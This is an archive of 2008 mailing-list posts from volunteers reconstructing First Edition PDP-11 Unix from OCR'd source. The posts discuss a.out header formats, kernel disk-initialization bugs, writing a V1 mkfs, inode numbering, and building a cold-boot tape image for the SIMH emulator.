issue is making me think they used a different assembler for these sources. .... so... we may have to either 1) alter the way as works, or 2) remove those comment characters in the vector table... I apologize for the earlier incorrect information and the flood of emails.. Tim Newsham http://www.thenewsh.com/~newsham/ From cowan at ccil.org Fri May 2 05:02:26 2008 From: cowan at ccil.org (John Cowan) Date: Thu, 1 May 2008 15:02:26 -0400 Subject: [Unix-jun72] more corrections In-Reply-To: <31410.1209664053@mini> References: <29658.1209658194@mini> <30972.1209662573@mini> <31410.1209664053@mini> Message-ID: <20080501190226.GA29430@mercury.ccil.org> Brad Parker scripsit: > yes, I think 0405 and 0407 a.out's are different. > > I believe the V7 headers are 16 bytes and the text section starts at zero. > (heh, memory management) Note that the whole point of the magic number being what it is, is that it's a PDP-11 unconditional branch instruction to skip the rest of the header. That way the a.out file could be loaded header and all and just started at its beginning by jumping into it. -- Samuel Johnson on playing the violin: John Cowan "Difficult do you call it, Sir? cowan at ccil.org I wish it were impossible." http://www.ccil.org/~cowan From brad at heeltoe.com Fri May 2 06:37:44 2008 From: brad at heeltoe.com (Brad Parker) Date: Thu, 01 May 2008 16:37:44 -0400 Subject: [Unix-jun72] confused about disk clearing Message-ID: <2048.1209674264@mini> I'm confused about the disk clearing code in u0.s: ... / zero i list 1: dec r0 / r0=33.,...,1 dec r1 jsr r0,clear / zero block 'r1' on fixed head disk tst r1 bgt 1b / if blocks 33,...,1 have all been zeroed, done. ... I had to add the "dec r1" above to get it to work. Otherwise it loops forever. Since 'clear' takes a block # in r1, I'm not sure it could work as written... anyone look at this? If I add the "dec r1" it does write some sort of structure to the disk. I'm not sure it's correct, but it wrote a bunch of blocks. -brad From aek at bitsavers.org Fri May 2 07:18:38 2008 From: aek at bitsavers.org (Al Kossow) Date: Thu, 01 May 2008 14:18:38 -0700 Subject: [Unix-jun72] 11/20 handbook In-Reply-To: <20080501190226.GA29430@mercury.ccil.org> References: <29658.1209658194@mini> <30972.1209662573@mini> <31410.1209664053@mini> <20080501190226.GA29430@mercury.ccil.org> Message-ID: <481A33AE.403@bitsavers.org> the 11/20 handbook is now up http://bitsavers.org/pdf/dec/pdp11/handbooks/PDP1120_Handbook_1972.pdf EAE described starting at page 143 From newsham at lava.net Fri May 2 07:23:50 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 11:23:50 -1000 (HST) Subject: [Unix-jun72] confused about disk clearing In-Reply-To: <2048.1209674264@mini> References: <2048.1209674264@mini> Message-ID: > I'm confused about the disk clearing code in u0.s: It's possible the "cold" code was not maintained? > / zero i list > > 1: > dec r0 / r0=33.,...,1 > dec r1 > jsr r0,clear / zero block 'r1' on fixed head disk > tst r1 > bgt 1b / if blocks 33,...,1 have all been zeroed, done. Hmm.. looking at the code the "dec r0" looks like it should be "dec r1". The value of r1 at this point is 34 (and r0 is not). The comment is likely also wrong: "r1=33.,...,1". This would agree with the current values. r0 looks to be used for an entirely different purpose throughout the code (linking jsr's). > -brad Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Fri May 2 08:23:55 2008 From: wkt at tuhs.org (Warren Toomey) Date: Fri, 2 May 2008 08:23:55 +1000 Subject: [Unix-jun72] Early a.out headers In-Reply-To: <31410.1209664053@mini> References: <29658.1209658194@mini> <30972.1209662573@mini> <31410.1209664053@mini> Message-ID: <20080501222355.GA75266@minnie.tuhs.org> On Thu, May 01, 2008 at 01:47:33PM -0400, Brad Parker wrote: > yes, I think 0405 and 0407 a.out's are different. I managed to scan in the 2nd Edition manuals, and they are available as a PDF here: http://minnie.tuhs.org/Z/2ndEdManuals/unix_2nd_edition_manual.pdf [ That URL is guaranteed to be ephemeral; Al, could you copy it to bitsavers? ] The skew on some of the pages comes from the photocopy that I have. Apologies. 1st Edition a.out headers were 0405, 12 bytes long. 2nd Edition a.out headers were 0407, 14 bytes long. In terms of the userland binaries we have from this era (on the s2 tape at http://www.tuhs.org/Archive/PDP-11/Distributions/research/1972_stuff/s2-bits.tar.gz), some binaries are 0405 and others are 0407. Here are the 0405 ones: bin/: bin/mv bin/ar bin/od bin/bas bin/pr bin/cat bin/rew bin/chball bin/rmdir bin/check bin/roff bin/chown bin/sh bin/cmp bin/skip bin/cp bin/sort bin/date bin/stat bin/db bin/stty bin/dc bin/su bin/df bin/sum bin/du bin/tap bin/echo bin/tm bin/ed bin/tty bin/exit bin/wc bin/form bin/who bin/goto bin/write bin/if etc/getty bin/login etc/glob bin/ls etc/init bin/mail etc/msh bin/mesg etc/suftab bin/mkdir Here are the 0407 ones: bin/as usr/fort/fc1 bin/cc usr/fort/fc2 bin/ds usr/fort/fc3 bin/fc usr/fort/fc4 bin/find usr/jack/a.out bin/ld usr/jack/x.o bin/maki usr/lib/c0 bin/nm usr/lib/c1 bin/size usr/lib/crt0.o bin/strip usr/lib/fr0.o bin/un usr/sys/a.out etc/as2 As you can see, as and as2 are 0407, hence they are V2 binaries, and so would be likely to output the V2 header. I haven't read the the OCR'd kernel source fully yet; in the section for exec(), there must be code to parse an a.out header. Does it only know about 0405, or 0407, or both? Hope this helps, Warren > > I believe the V7 headers are 16 bytes and the text section starts at zero. > (heh, memory management) > > The v1 headers are 12 bytes and the text section starts at 014 (i.e. the > header is part of the text section and *it* begins at zero, not the code) > > So, if we assemble with the v7 as we need to adjust things a bit. > > -brad > _______________________________________________ > Unix-jun72 mailing list > Unix-jun72 at minnie.tuhs.org > https://minnie.tuhs.org/mailman/listinfo/unix-jun72 From wkt at tuhs.org Fri May 2 08:28:23 2008 From: wkt at tuhs.org (Warren Toomey) Date: Fri, 2 May 2008 08:28:23 +1000 Subject: [Unix-jun72] Early a.out headers In-Reply-To: <20080501222355.GA75266@minnie.tuhs.org> References: <29658.1209658194@mini> <30972.1209662573@mini> <31410.1209664053@mini> <20080501222355.GA75266@minnie.tuhs.org> Message-ID: <20080501222823.GA75548@minnie.tuhs.org> On Fri, May 02, 2008 at 08:23:55AM +1000, Warren Toomey wrote: > I haven't read the the OCR'd kernel source fully yet; in the section for > exec(), there must be code to parse an a.out header. Does it only know > about 0405, or 0407, or both? I'll answer myself. sysexec() in u2.s has this: cmp core,$405 / br .+14 is first instrution if file is / standard a.out format bne 1f / branch, if not standard format So the kernel is definitely 1st Edition, then. Warren From wkt at tuhs.org Fri May 2 08:51:28 2008 From: wkt at tuhs.org (Warren Toomey) Date: Fri, 2 May 2008 08:51:28 +1000 Subject: [Unix-jun72] more corrections In-Reply-To: References: <29658.1209658194@mini> <30972.1209662573@mini> <31410.1209664053@mini> Message-ID: <20080501225128.GB75548@minnie.tuhs.org> On Thu, May 01, 2008 at 08:34:10AM -1000, Tim Newsham wrote: > > I adjusted my tools/dumpaout.py appropriately and tested with the 1ed > > assembler. If you sed all the files to s/mount/xmount/ it builds just > > fine with 1ed "as" and the a.out header is indeed 6 bytes long and > > is included in the text segment... Everything is lining up.. > > ugh, I was wrong.. it was not lining up! The 1ed "as" is also > using a 16-byte header. This together with the "mount" issue is > making me think they used a different assembler for these sources. Tim, I think the as we have from the s2 tape is a V2 assembler, as it has an 0407 header, not an 0405 header. > .... so... we may have to either 1) alter the way as works, or 2) > remove those comment characters in the vector table... Patching the V2 as binary to work like V1 is going to be hard. I even though about modifying the V7 as to output 0405 headers, but again hard. Given that we know the assembler has predefined symbols, which means renaming $mount, I think we might as well take the path where we modify the source code so that it can be built with the tools we have, which is your option 2) above. And of course, document the changes. Cheers, Warren From aek at bitsavers.org Fri May 2 09:01:43 2008 From: aek at bitsavers.org (Al Kossow) Date: Thu, 01 May 2008 16:01:43 -0700 Subject: [Unix-jun72] Early a.out headers In-Reply-To: <20080501222355.GA75266@minnie.tuhs.org> References: <29658.1209658194@mini> <30972.1209662573@mini> <31410.1209664053@mini> <20080501222355.GA75266@minnie.tuhs.org> Message-ID: <481A4BD7.3080202@bitsavers.org> Warren Toomey wrote: > Al, could you copy it to bitsavers? done.. may try deskewing the pages at some point. From Hellwig.Geisse at mni.fh-giessen.de Fri May 2 09:09:53 2008 From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse) Date: Fri, 02 May 2008 01:09:53 +0200 Subject: [Unix-jun72] 11/20 handbook In-Reply-To: <481A33AE.403@bitsavers.org> References: <29658.1209658194@mini> <30972.1209662573@mini> <31410.1209664053@mini> <20080501190226.GA29430@mercury.ccil.org> <481A33AE.403@bitsavers.org> Message-ID: <1209683393.5140.996.camel@papa> On Thu, 2008-05-01 at 14:18 -0700, Al Kossow wrote: > the 11/20 handbook is now up > http://bitsavers.org/pdf/dec/pdp11/handbooks/PDP1120_Handbook_1972.pdf > > EAE described starting at page 143 Great! Many thanks for that. Hellwig From newsham at lava.net Fri May 2 09:31:21 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 13:31:21 -1000 (HST) Subject: [Unix-jun72] more corrections In-Reply-To: <20080501225128.GB75548@minnie.tuhs.org> References: <29658.1209658194@mini> <30972.1209662573@mini> <31410.1209664053@mini> <20080501225128.GB75548@minnie.tuhs.org> Message-ID: > Tim, I think the as we have from the s2 tape is a V2 assembler, as it has > an 0407 header, not an 0405 header. Yah, that makes sense. I guess this means that the system we rebuild won't be capable of building itself unless we somehow find an old as or srcs. > Given that we know the assembler has predefined symbols, which means > renaming $mount, I think we might as well take the path where we modify > the source code so that it can be built with the tools we have, which is > your option 2) above. And of course, document the changes. The approach I'm taking currently is to use the 1972_stuff "as" (v2) using apout and some sed magic so that the original sources are undisturbed. The code is in the svn as tools/assem. > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Fri May 2 09:42:25 2008 From: wkt at tuhs.org (Warren Toomey) Date: Fri, 2 May 2008 09:42:25 +1000 Subject: [Unix-jun72] Anyone working on V1 mkfs? Message-ID: <20080501234225.GA77327@minnie.tuhs.org> We're going to need a filesystem. Is anybody working on tools to make one? If not, I might start work on a mkfs for V1. Warren From newsham at lava.net Fri May 2 09:45:04 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 13:45:04 -1000 (HST) Subject: [Unix-jun72] Anyone working on V1 mkfs? In-Reply-To: <20080501234225.GA77327@minnie.tuhs.org> References: <20080501234225.GA77327@minnie.tuhs.org> Message-ID: > We're going to need a filesystem. Is anybody working on tools to make one? > If not, I might start work on a mkfs for V1. The u0.s srcs have code for writing out some filesystem data when the kernel is built with the "cold" variable set. I'm not sure how complete it is. It sounds like Brad has had some success getting it to run based on his earlier emails. > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From brad at heeltoe.com Fri May 2 10:33:35 2008 From: brad at heeltoe.com (Brad Parker) Date: Thu, 01 May 2008 20:33:35 -0400 Subject: [Unix-jun72] Anyone working on V1 mkfs? In-Reply-To: <20080501234225.GA77327@minnie.tuhs.org> References: <20080501234225.GA77327@minnie.tuhs.org> Message-ID: <5372.1209688415@mini> Warren Toomey wrote: >We're going to need a filesystem. Is anybody working on tools to make one? >If not, I might start work on a mkfs for V1. The kernel sources can built with "cold = 1" to build the root file system on the RF disk. It almost works now - it writes a bunch of blocks but not the directory blocks (yet); something is now quite right but I'm pretty sure it can be worked out. The hardware bootstrap process is in the man pages - it looks somewhat rational. I have not studied it but I think the fun part will be making a dectape image which has the binaries to be populated. It all looked possible when I scanned it the other day. Having said all that, having a working mkfs would be would be very handy and would make setting up a boot disk much easier! -brad From wkt at tuhs.org Fri May 2 10:58:08 2008 From: wkt at tuhs.org (Warren Toomey) Date: Fri, 2 May 2008 10:58:08 +1000 Subject: [Unix-jun72] Anyone working on V1 mkfs? In-Reply-To: <5372.1209688415@mini> References: <20080501234225.GA77327@minnie.tuhs.org> <5372.1209688415@mini> Message-ID: <20080502005808.GA79200@minnie.tuhs.org> On Thu, May 01, 2008 at 08:33:35PM -0400, Brad Parker wrote: > The hardware bootstrap process is in the man pages - it looks somewhat > rational. I have not studied it but I think the fun part will be making > a dectape image which has the binaries to be populated. I was hoping to have a populated filesystem to start with, because we should be able to run V1 bin/check using Apout, to check the filesystem. > Having said all that, having a working mkfs would be would be very handy > and would make setting up a boot disk much easier! The V1 manual for filesystem(5) say "Blocks 0 and 1 are collectively known as the super-block for the device". Can you confirm that block 0 is part of the super-block, i.e. it's not reserved for bootstrap code? If block 0 is the super-block, it should contain a word (# of bytes in free-map) followed by lots of 0177 bytes, which are the free-map. On another note, I thought of taking V6 mkfs.c as a start-point to rewrite V1 mkfs. I'm trying to work out what f_m and f_n do: if(fsys[n] == 'r') { if(f == 'k') { f_n = 24; /* RK, why these numbers? */ f_m = 3; } if(f == 'p') { f_n = 10; /* RP, why these numbers? */ f_m = 4; } } Finally, are we going to use RK03 or RK05, as the sizes are different? Thanks all, Warren From newsham at lava.net Fri May 2 12:08:47 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 16:08:47 -1000 (HST) Subject: [Unix-jun72] Anyone working on V1 mkfs? In-Reply-To: <20080502005808.GA79200@minnie.tuhs.org> References: <20080501234225.GA77327@minnie.tuhs.org> <5372.1209688415@mini> <20080502005808.GA79200@minnie.tuhs.org> Message-ID: > On another note, I thought of taking V6 mkfs.c as a start-point to rewrite > V1 mkfs. I'm trying to work out what f_m and f_n do: > > if(fsys[n] == 'r') { > if(f == 'k') { > f_n = 24; /* RK, why these numbers? */ > f_m = 3; > } > if(f == 'p') { > f_n = 10; /* RP, why these numbers? */ > f_m = 4; > } > } Looks like they stagger the insertion of blocks onto the free list so that they're not adjacent. It first builds a table in adr[] of the stagger offsets, then it frees blocks from the top linearly until it hits a round number, then it allocates as many staggered blocks as it can until finally returning to allocating the bottom f_n blocks in a linear fashion again. For example if f_n is 10 and f_m is 4, and igh is 100 and low is 20 you puts blocks on the list in this order: 0, - always zero first 100 - linear at top 99, 95, 91, 97, 93, 98, 94, 90, 96, 92, ... 33, 38, 34, 30, 36, 32 29, 28, 27, ... 22, 21, 20 -- linear at the bottom as to why they chose these particular constants for these disks, I can only guess that they figured having blocks roughly four apart made for good performance due to read and seek latencies? > Finally, are we going to use RK03 or RK05, as the sizes are different? The sources mention "rk03" several times and give 4872 decimal as the maximum block number allowed (and also rf0 with 1024 as maximum block number). > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Fri May 2 12:31:22 2008 From: wkt at tuhs.org (Warren Toomey) Date: Fri, 2 May 2008 12:31:22 +1000 Subject: [Unix-jun72] Anyone working on V1 mkfs? In-Reply-To: <20080502005808.GA79200@minnie.tuhs.org> References: <20080501234225.GA77327@minnie.tuhs.org> <5372.1209688415@mini> <20080502005808.GA79200@minnie.tuhs.org> Message-ID: <20080502023122.GA82050@minnie.tuhs.org> On Fri, May 02, 2008 at 10:58:08AM +1000, Warren Toomey wrote: > On another note, I thought of taking V6 mkfs.c as a start-point to rewrite > V1 mkfs. I gave up and decided to write mkfs from scratch :-) I'm a bit baffled on the i-node map and list. The V1 filesystem(5) manual says: I-numbers below 41 (base 10) are reserved for special files, and are never allocated; the first bit in the i-node free map refers to i-number 41. Therefore the byte number in the i-node map for i-node i is (i-41)/8 and offset (i-41)%8 bits from the right... I-numbers begin at 1, and the storage for i-nodes begins at block 2. Also, i-nodes are 32 bytes long, so 16 of them fit into a block. Therefore, i-node i is located in block (i+31)/16 of the file system, and begins 32*((i+31)%16) from its start. I-node 41 (base 10) is reserved for the root directory. Now, I am assuming that this means: a) the i-mode bitmap is missing bits 0 to 40, but b) the actual i-nodes 0 to 40 do exist, and c) the system can still "read i-node 7", even if it can't allocate i-node 7. Following the manual, the root directory i-node is number 41, so its bit in the bitmap is (41-41)/8==0, offset (41-41)%8== bit 0. But the actual i-node used is still i-node 41, so that is on block (41+31)/16==block4, offset 256. Let me know if that sounds right, or if I'm off-base somewhere. Thanks, Warren From newsham at lava.net Fri May 2 12:45:22 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 16:45:22 -1000 (HST) Subject: [Unix-jun72] Anyone working on V1 mkfs? In-Reply-To: <20080502023122.GA82050@minnie.tuhs.org> References: <20080501234225.GA77327@minnie.tuhs.org> <5372.1209688415@mini> <20080502005808.GA79200@minnie.tuhs.org> <20080502023122.GA82050@minnie.tuhs.org> Message-ID: > a) the i-mode bitmap is missing bits 0 to 40, but The first bit is for i-number 41, yes. if(n >= 41) then to check if i-number n is allocated: map[(n-41)/8] & (1 << ((n-41)%8) if I read the bit ordering correctly. > b) the actual i-nodes 0 to 40 do exist, and Almost, there is no i-number 0. The first one is i-number 1 which starts at byte zero of block 2. inode-block(n) = (n+31)/16 inode-offset(n) = 32 * ((n+31)%16) > c) the system can still "read i-node 7", even if it can't allocate i-node 7. sounds like it. > Let me know if that sounds right, or if I'm off-base somewhere. Sounds like you got it, except for the i-numbering starting at 1. > Warren Tim Newsham http://www.thenewsh.com/~newsham/ From newsham at lava.net Fri May 2 13:21:54 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 17:21:54 -1000 (HST) Subject: [Unix-jun72] Anyone working on V1 mkfs? In-Reply-To: <20080502023122.GA82050@minnie.tuhs.org> References: <20080501234225.GA77327@minnie.tuhs.org> <5372.1209688415@mini> <20080502005808.GA79200@minnie.tuhs.org> <20080502023122.GA82050@minnie.tuhs.org> Message-ID: > I gave up and decided to write mkfs from scratch :-) I did a little more research on the disks, and added my notes to the machine.txt file. Included below. Looks like we should be able to craft a tape image with a list of files and use the cold boot mechanism to initialize the rf0 disk (which has to be the root fs). We may still want an mkfs for initializing an rf03 later. ---------------- Disks: rf0 - 1024 blocks, always mounted, has root and swap. last 64 blocks (32kbyte) allocated to swap by u0.s u0.s can setup rudimentary fs on this if built with "cold=1" rk0 - 4871 blocks u0.s sets up rf0 as: - superblock layout - free storage map contains 128 bytes - inode map contains 64 bytes - allocate top 64 blocks "to unix" (960..1023) - allocate 17 blocks per process (nproc) (688..960 - 16 procs) - free blocks 687..34 - zero out blocks 33..1 for use as inodes (and 2nd half of superblock which is unused?) - for each special inode i-1 to i-40 initialize it - mode 100017 (allocated, read, write, other read, othe write) - num links = 1 - uid = 1 (yup, not root) - fill in timestamp info - write out premade i-nodes on i-41 .. i-47 with premade directory data. i-41 root (with dev, bin, etc, usr, tmp) i-42 dev (with tty, ppt, mem, rf0, rk0, tap0 .. tap7, tty0..tty7, lpr, tty8) i-43 bin (empty) i-44 etc (with init) i-45 usr (empty) i-46 tmp (empty) i-47 init (binary, included in u0.s) special version that opens /dev/tap0 and reads files from it, creates them, chmods them and chowns them Tim Newsham http://www.thenewsh.com/~newsham/ From wkt at tuhs.org Fri May 2 13:51:31 2008 From: wkt at tuhs.org (Warren Toomey) Date: Fri, 2 May 2008 13:51:31 +1000 Subject: [Unix-jun72] Anyone working on V1 mkfs? In-Reply-To: References: <20080501234225.GA77327@minnie.tuhs.org> <5372.1209688415@mini> <20080502005808.GA79200@minnie.tuhs.org> <20080502023122.GA82050@minnie.tuhs.org> Message-ID: <20080502035131.GA85251@minnie.tuhs.org> On Thu, May 01, 2008 at 05:21:54PM -1000, Tim Newsham wrote: > >I gave up and decided to write mkfs from scratch :-) > > I did a little more research on the disks, and added my notes > to the machine.txt file. Included below. Looks like we should > be able to craft a tape image with a list of files and use the > cold boot mechanism to initialize the rf0 disk (which has to be > the root fs). We may still want an mkfs for initializing an > rf03 later. Thanks for the notes Tim. In mkfs, I'm creating the free list, the inodes and inode list, and the rootdir, along with adding entries to a dir. Next up, adding files to the image. It will probably be testable in a few days. Warren From newsham at lava.net Fri May 2 14:14:56 2008 From: newsham at lava.net (Tim Newsham) Date: Thu, 1 May 2008 18:14:56 -1000 (HST) Subject: [Unix-jun72] cold boot tape Message-ID: I wrote a utility for building a cold boot tape and included it in the tools directory. Its not yet tested so its possible I got the format wrong... its based on my reading of init at the end of u0.s. It seems like the permissions in the s2.tar.gz file from the 1972_stuff reflect the original 1ed permission bits (at least the low order bits do) so this makes restoring the original permissions fairly easy. Unfortunately the tar doesn't preserve the original uids. The included "Readme" does have the original uids, so its possible to recreate the proper uids by hand. If you do so, my mktape utility should write out the proper uid and mode values. The use is straightforward: cd /your/s2/directory /path/to/mktape.py bin/* etc/* and you'll get a "tape" file out. I believe you just need the stuf in bin and etc. The stuff from usr should probably go on the rk03 disk after cold boot. Tim Newsham http://www.thenewsh.com/~newsham/ From brad at heeltoe.com Fri May 2 20:24:44 2008 From: brad at heeltoe.com (Brad Parker) Date: Fri, 02 May 2008 06:24:44 -0400 Subject: [Unix-jun72] more corrections In-Reply-To: References: <29658.1209658194@mini> Message-ID: <11428.1209723884@mini> Tim Newsham wrote: > >How can I get the modified simh? Here's a diff against v36 and a tar of my working directory: http://www.unlambda.com/download/pdp11/unix-jun72/KE.diff http://www.unlambda.com/download/pdp11/unix-jun72/simhv36-1-ke.tar.gz >Also what configuration are you using? I have this so far: > > set tc enabled > att tc tape.dt > set rk3 enabled > att rk3 rk0.dsk > set rf enabled > att rf rf0.dsk > set cpu 11/20 > set cpu 32K I'm using this: set cpu 11/20 set hk disabled set rha disabled set tm disabled set rx disabled set rl disabled set tq disabled set rk3 enabled att rk3 rk3.dsk set tc enabled set rf enabled set ke enabled set cpu 32K load loadfile d pc 400 set cpu history=1000 attach rf rf0.dsk I forgot to include my a.out->loadfile conversion program. I'll check it in to svn. >Have you gotten far enough that it writes out the full primitive >root on rf0 so that you can reboot and get init going? No - it writes a bunch of blocks to rf0 but no directories. The 'zero i list' appears to work, and the code to init i-node 41-47 runs but nothing gets written. Or if it does the wrong thing gets written. not sure why. To debug I sprinkle "halt"'s in the code and then do "show cpu history" to see what happened. As a sanity check I also do 'e 0-40' and 'e 400-440' to make sure location 34 (iot vector) is filled in and the code at 400 is correct (it loads the sp with 60000). I might turn on some RF debug to see exactly what gets written when. -brad From wkt at tuhs.org Fri May 2 23:44:43 2008 From: wkt at tuhs.org (Warren Toomey) Date: Fri, 2 May 2008 23:44:43 +1000 Subject: [Unix-jun72] mkfs src Message-ID: <20080502134443.GA6621@minnie.tuhs.org> OK, I've got it to the point where is makes _a_ filesystem, and now I'm off to bed. The image looks fine to me, but I thought I'd pass the source code around in case someone spots an incorrect assumption that I've made, or a bug. I have created an RK03 image using the V1 binaries off the s2 tape. I then ran V1 check on the image; here is what it said: # check rk.img 0 files 0 large 0 indirect 0 used 3420 free Not exactly fantastic, but much better than when I gave check a random file to digest :) Good night! Warren P.S cc -o mkfs -Wall mkfs.c -------------- next part -------------- A non-text attachment was scrubbed... Name: mkfs.c.gz Type: application/x-gunzip Size: 4252 bytes Desc: not available URL: From jam at magic.com Sat May 3 01:23:09 2008 From: jam at magic.com (James A. Markevitch) Date: Fri, 2 May 2008 08:23:09 -0700 (PDT) Subject: [Unix-jun72] OCR of PreliminaryUnixImplementationDocument_Jun72.pdf Message-ID: <200805021523.IAA20947@mist.magic.com> I'm sending Brad a copy of a different OCR of the document that he can use to check against the current one. The file also includes various fixes to bugs in the original document. Presumably, he'll incorporate anything differences into the svn. James Markevitch From newsham at lava.net Sat May 3 03:05:49 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 07:05:49 -1000 (HST) Subject: [Unix-jun72] cold boot tape In-Reply-To: References: Message-ID: > I wrote a utility for building a cold boot tape and included it in the > tools directory. Its not yet tested so its possible I got the format > wrong... its based on my reading of init at the end of u0.s. It occurs to me that the tape is probably meant to be bootable. The init program seeks to the 65th block to start booting, so blocks 0 through 64 can be used to hold a bootable kernel image or two. I'm guessing we could make a tape as: blocks 0-31 - the "cold" kernel blocks 32-64 - the real kernel blocks 65- - the contents of /bin and /etc boot the cold kernel from tape, have it write out a primordeal root file system on rf0. Boot the real kernel from tape, have it run the /etc/init that the cold kernel put onto rf0 which reads files from blocks 65 onwards on the tape. Finally reboot the real kernel from tape again and be in a real system. By the way, I made some tape images from the s2 binaries (just /etc and /bin, /usr is probably meant to go onto rk0): http://www.thenewsh.com/%7Enewsham/unix_jun72/tape - the raw tape bits with the first 65 blocks empty http://www.thenewsh.com/%7Enewsham/unix_jun72/tape.tc - a simh format tape of the above bits the tape image isnt tested yet. It should hopefully have the right uids and file modes for first ed. Tim Newsham http://www.thenewsh.com/~newsham/ From Hellwig.Geisse at mni.fh-giessen.de Sat May 3 02:57:22 2008 From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse) Date: Fri, 02 May 2008 18:57:22 +0200 Subject: [Unix-jun72] Minor errors Message-ID: <1209747442.5140.1012.camel@papa> I just did a 'grep' of some suspicious character combinations and found the following: e00-04:/ initialize i-nodes r1.,...,47. and wr1te the root device, binary, etc., e04-01: bne 3f /Is1t zero now? e08-05: bis $103,r3 / now rbn,for,un1t,1e e04-03:1: / flle just opened e05-04: cmp r1, ii / r1 = i-number of current flle e03-01: jsr r0,rswap / read new process 1nto core e04-04: cmp r1,$12 / is char a l1ne feed e06-02: br ret / it 1n r1; 1f there 1s no problem with reader, it e06-02: inc *u.fofp / increment file offset to point to 'next' char 1n e08-03: br 1f / branch if block already 1n a I/O buffer e08-03: bis $2000,(r5) / set read mu (bu: 100 1n 1/0 buffer) e08-06: bit $173000,(r5) / lock+keep+active+outstand1ng e11-07: cmp 0b,$1nbuf+256. / have we exceeded innut buffer size e06-04: inc *u.fofp / increment f11e offset to point to next available e06-05: mov r2,i.size / yes, increase the f11e size to file offset + e06-06: / be written to the f11e e08-03:tstdeve: / check whether permanent error has occured on special f11e e03-02: / to end of stack gets written out) ~ e08-03: mov u.base,r2 / put users base in r2 ~ e11-01: cdpb B(r5),$'- / was this sh calleZd by init or loginx~ e03-02: cmp r2,$core / is u.break less than Score As you can see, the errors are almost exclusively in the comments. Someone with write access to the svn repository could perhaps take care of that. Hellwig From newsham at lava.net Sat May 3 03:40:53 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 07:40:53 -1000 (HST) Subject: [Unix-jun72] warning: 1972_stuff as! Message-ID: I just noticed that the 1972_stuff "as" program generates: 400 MOV #120000,SP for core = orig+40000 / specifies beginning of user's core ecore = core+20000 / specifies end of user's core (4096 words) [...] . = orig+400 / copy in transfer vectors mov $ecore,sp / put pointer to score in the stack pointer while the V7 assembler is generating the correct: 400: MOV #60000,SP I have no idea why it is doing this. The 1972_stuff "nm" program correctly lists ecore as 60000. Use the 1972_stuff "as" at your own risk! Tim Newsham http://www.thenewsh.com/~newsham/ From brad at heeltoe.com Sat May 3 03:52:10 2008 From: brad at heeltoe.com (Brad Parker) Date: Fri, 02 May 2008 13:52:10 -0400 Subject: [Unix-jun72] OCR of PreliminaryUnixImplementationDocument_Jun72.pdf In-Reply-To: <200805021523.IAA20947@mist.magic.com> References: <200805021523.IAA20947@mist.magic.com> Message-ID: <19143.1209750730@mini> "James A. Markevitch" wrote: >I'm sending Brad a copy of a different OCR of the document that he >can use to check against the current one. The file also includes >various fixes to bugs in the original document. > >Presumably, he'll incorporate anything differences into the svn. I made a diff and put all the changes to the kernel in svn. I just checked it in. I tried "cold=1" and it seems to have written a file system to the RF disk. It looks correct from a dump anyway. I think the init dies because "sys read" does not work and there are still missing pages. I'll add the missing pages from James' work next. -brad From brad at heeltoe.com Sat May 3 03:56:14 2008 From: brad at heeltoe.com (Brad Parker) Date: Fri, 02 May 2008 13:56:14 -0400 Subject: [Unix-jun72] Minor errors In-Reply-To: <1209747442.5140.1012.camel@papa> References: <1209747442.5140.1012.camel@papa> Message-ID: <19240.1209750974@mini> Hellwig Geisse wrote: >I just did a 'grep' of some suspicious >character combinations and found the following: many of those should be fixed now - I just did a large commit with diffs from James's OCR version. -brad From newsham at lava.net Sat May 3 04:12:22 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 08:12:22 -1000 (HST) Subject: [Unix-jun72] OCR of PreliminaryUnixImplementationDocument_Jun72.pdf In-Reply-To: <19143.1209750730@mini> References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini> Message-ID: > I think the init dies because "sys read" does not work and there are > still missing pages. also you have "read" commented out of sys1.s? > -brad Tim Newsham http://www.thenewsh.com/~newsham/ From brad at heeltoe.com Sat May 3 04:16:06 2008 From: brad at heeltoe.com (Brad Parker) Date: Fri, 02 May 2008 14:16:06 -0400 Subject: [Unix-jun72] Minor errors In-Reply-To: <19240.1209750974@mini> References: <1209747442.5140.1012.camel@papa> <19240.1209750974@mini> Message-ID: <19878.1209752166@mini> I checked in the missing pages; Now the only errors are due to fpsum and the missing "sys read". The cold=1 build does seem to write the file system. There's still a problem however. I notice that that after the initial file system is all written, the code does an RF read with a large positive word count (this is bad, since the WC should be negative). I'll be it's the exec. I think the exec of "init" is causing this, and the same thing happens when I run a cold=0 load after building the file system. But who knows. So, we're closer. Many thanks to James for offering his OCR version. I'll put it up on my web site later today and send out an email, along with the diff files. -brad From brad at heeltoe.com Sat May 3 04:17:17 2008 From: brad at heeltoe.com (Brad Parker) Date: Fri, 02 May 2008 14:17:17 -0400 Subject: [Unix-jun72] OCR of PreliminaryUnixImplementationDocument_Jun72.pdf In-Reply-To: References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini> Message-ID: <19937.1209752237@mini> Tim Newsham wrote: >> I think the init dies because "sys read" does not work and there are >> still missing pages. > >also you have "read" commented out of sys1.s? yes, I think it has to be for this asm. I changed the "sys read"'s to "sys _read" and then added "_read = 3." as an experiment. I think we'll have to sed that in eventually. -brad From newsham at lava.net Sat May 3 04:40:15 2008 From: newsham at lava.net (Tim Newsham) Date: Fri, 2 May 2008 08:40:15 -1000 (HST) Subject: [Unix-jun72] OCR of PreliminaryUnixImplementationDocument_Jun72.pdf In-Reply-To: <19937.1209752237@mini> References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini> <19937.1209752237@mini> Message-ID: >> also you have "read" commented out of sys1.s? > > yes, I think it has to be for this asm. There was previously a "read:" in u6.s, but it turned out to be a typo for "readi". I think its safe to use "read" 